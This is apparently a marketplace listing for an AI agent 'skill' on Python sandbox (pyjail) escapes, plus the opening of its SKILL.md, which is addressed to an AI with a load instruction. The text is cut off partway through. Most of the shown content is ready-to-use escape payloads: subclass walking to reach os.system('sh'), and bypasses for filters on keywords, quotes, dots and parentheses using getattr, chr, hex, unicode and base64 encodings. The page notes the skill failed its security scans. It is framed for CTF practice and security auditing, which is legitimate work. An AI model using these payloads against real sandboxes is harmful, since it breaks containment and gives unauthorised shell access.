
Sandbox Escape Techniques
Reference complete Python pyjail escape techniques when auditing or solving sandboxed code execution challenges.
Install
npx skills add https://github.com/yaklang/hack-skills --skill sandbox-escape-techniquesWhat is this skill?
- Documents __builtins__ recovery via subclass walking and os._wrap_close globals chains
- Covers getattr/chr keyword bypass, AST sandbox bypass, and RestrictedPython escape paths
- Includes exec with custom globals, file read without open(), and pickle deserialization angles
- Assumes companion SKILL.md for sandbox type identification before choosing a chain
- Python-version-dependent subclass indices called out for reproducible exploitation steps
Adoption & trust: 1k installs on skills.sh; 980 GitHub stars; 0/3 security scanners passed (skills.sh audits).
Recommended Skills
Journey fit
Canonical shelf is Ship → Security because the skill addresses breaking application sandboxes and restricted execution—work that happens during security review, CTF prep, or offensive validation—not during greenfield product coding. Security subphase fits sandbox escape, keyword bypass, and deserialization abuse patterns that security testers apply after a vulnerable interpreter or jail is identified.
Common Questions / FAQ
Is Sandbox Escape Techniques safe to install?
skills.sh reports 0 of 3 security scanners passed. Review the Security Audits panel on this page before installing in production.
SKILL.md
READMESKILL.md - Sandbox Escape Techniques
# Python Sandbox Escape (Pyjail) — Complete Methodology > **AI LOAD INSTRUCTION**: Load this for complete pyjail escape techniques. Covers `__builtins__` recovery via subclass walking, keyword bypass via `getattr`/`chr()`, AST-based sandbox bypass, RestrictedPython escape, exec with custom globals, file read without `open()`, pickle deserialization, and code object manipulation. Assumes [SKILL.md](./SKILL.md) is loaded for sandbox type identification. --- ## 1. __builtins__ RECOVERY VIA SUBCLASS WALKING The fundamental technique: walk Python's class hierarchy to find useful classes. ### The Chain ```python # Start from any object literal ().__class__ # <class 'tuple'> ().__class__.__bases__ # (<class 'object'>,) ().__class__.__bases__[0] # <class 'object'> ().__class__.__bases__[0].__subclasses__() # ALL loaded classes # Find useful subclass (index varies by Python version): # Look for: os._wrap_close, warnings.catch_warnings, subprocess.Popen # Example: find os._wrap_close for i, cls in enumerate(''.__class__.__bases__[0].__subclasses__()): if 'wrap_close' in str(cls): print(i, cls) break # Access os.system via __init__.__globals__ ().__class__.__bases__[0].__subclasses__()[INDEX].__init__.__globals__['system']('sh') ``` ### Common Useful Subclasses | Class | Access | Use | |---|---|---| | `os._wrap_close` | `.__init__.__globals__['system']` | Command execution | | `warnings.catch_warnings` | `.__init__.__globals__['__builtins__']['__import__']` | Recover `__import__` | | `subprocess.Popen` | Direct: `Popen(['sh'], ...)` | Command execution | | `importlib._bootstrap._ModuleLock` | `.__init__.__globals__` | Access import machinery | | `codecs.IncrementalDecoder` | `.__init__.__globals__` | Another globals access point | ### Alternative Starting Points ```python ''.__class__.__mro__[1].__subclasses__() # from string [].__class__.__mro__[1].__subclasses__() # from list {}.__class__.__mro__[1].__subclasses__() # from dict (0).__class__.__mro__[1].__subclasses__() # from int True.__class__.__mro__[1].__subclasses__() # from bool ``` --- ## 2. KEYWORD BYPASS TECHNIQUES ### When import/os/system are Filtered ```python # String concatenation __builtins__.__dict__['__imp'+'ort__']('o'+'s').system('sh') # getattr getattr(__builtins__, '__import__')('os').system('sh') getattr(getattr(__builtins__, '__impo' + 'rt__')('o' + 's'), 'system')('sh') # chr() construction eval(chr(95)*2 + chr(105) + chr(109) + chr(112) + chr(111) + chr(114) + chr(116) + chr(95)*2) # Builds "__import__" # Hex escape in string eval("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f('os').system('sh')") # Unicode escape eval("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f('os')") # Base64 import base64 eval(base64.b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ3NoJyk=')) ``` ### When Quotes are Filtered ```python # Use chr() to build strings without quotes s = chr(115) + chr(104) # "sh" __import__(chr(111)+chr(115)).system(s) # Use bytes/bytearray eval(bytes([111, 115]).decode()) # "os" # Use input() in Python 2 (reads from stdin) # Use dict keys: list({1:2})[0].__class__.__name__ etc. ``` ### When Dots are Filtered ```python # Use getattr getattr(getattr(__builtins__, '__import__')('os'), 'system')('sh') # Use __getattribute__ ''.__class__.__getattribute__(''.__class__, '__bases__') ``` ### When Parentheses are Filtered ```python # Python 2: print is a statement # Python 3: decorators, class definitions, or __init_subclass__ @exec @input class X: pass # Prompts for input, evaluates as Python code # Using __init_subclass__ class Exploit: def __init_subclass__(cls, **kwargs): __import__('os').system('sh') class Trigger(Exploit): pass ``` --- ## 3. AST-BASED SANDBOX BYPASS Some sandboxes parse the AST and block dangerous nodes. ### Common AST Restrictions and Bypasses | Blocked AST Node | Bypass | |---|---| | `ast.Import` / `a